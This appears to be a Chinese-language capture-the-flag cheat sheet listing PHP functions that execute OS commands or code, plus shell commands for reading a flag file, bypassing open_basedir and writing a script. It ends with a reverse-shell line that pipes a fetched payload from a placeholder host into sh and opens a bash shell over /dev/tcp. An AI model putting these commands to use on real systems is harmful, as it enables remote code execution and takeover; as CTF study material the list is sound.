1.系统命令执行函数
**system():能将字符串作为OS命令执行,且返回命令执行结果;
exec():能将字符串作为OS命令执行,但是只返回执行结果的最后一行(约等于无回显);
shell_exec():能将字符串作为OS命令执行
passthru():能将字符串作为OS命令执行,只调用命令不返回任何结果,但把命令的运行结果原样输出到标准输出设备上;
popen():打开进程文件指针
proc_open():与popen()类似
pcntl_exec():在当前进程空间执行指定程序;
反引号``:反引号``内的字符串会被解析为OS命令;**
2.代码执行函数
**eval():将字符串作为php代码执行;
assert():将字符串作为php代码执行;
preg_replace():正则匹配替换字符串;
create_function():主要创建匿名函数;
call_user_func():回调函数,第一个参数为函数名,第二个参数为函数的参数;
call_user_func_array():回调函数,第一个参数为函数名,第二个参数为函数参数的数组;**
3.常用命令
**#查看文件命令
cat/tac/more/less/head/tail/nl/od/uniq/sort
grep test flag.php
php /flag #文件内容会被当成php代码执行,相当于include
php -t / -r "include('/flag');" #指定根目录,绕过open_basedir
sh /flag 2>&1 #sh+文件,并输出错误信息(蚁剑是这个原理)
sed p
#列目录命令
du -a .
chgrp -v -R
#打包文件
tar cvf xxx.tar . #将当前目录打包压缩为xxx.tar
#写入文件
ls > xxx
ls | tee xxx
script -a xxx; ls; exit; #依次执行
echo -e "%23!/bin/sh\\nwhile read line\\ndo\\necho \\$line\\ndone < /flag" > ../../../read #写shell
#反弹shell
curl [IP] | sh #VPS payload: bash -c "bash -i >& /dev/tcp/[IP]/[Port] 0>&1"**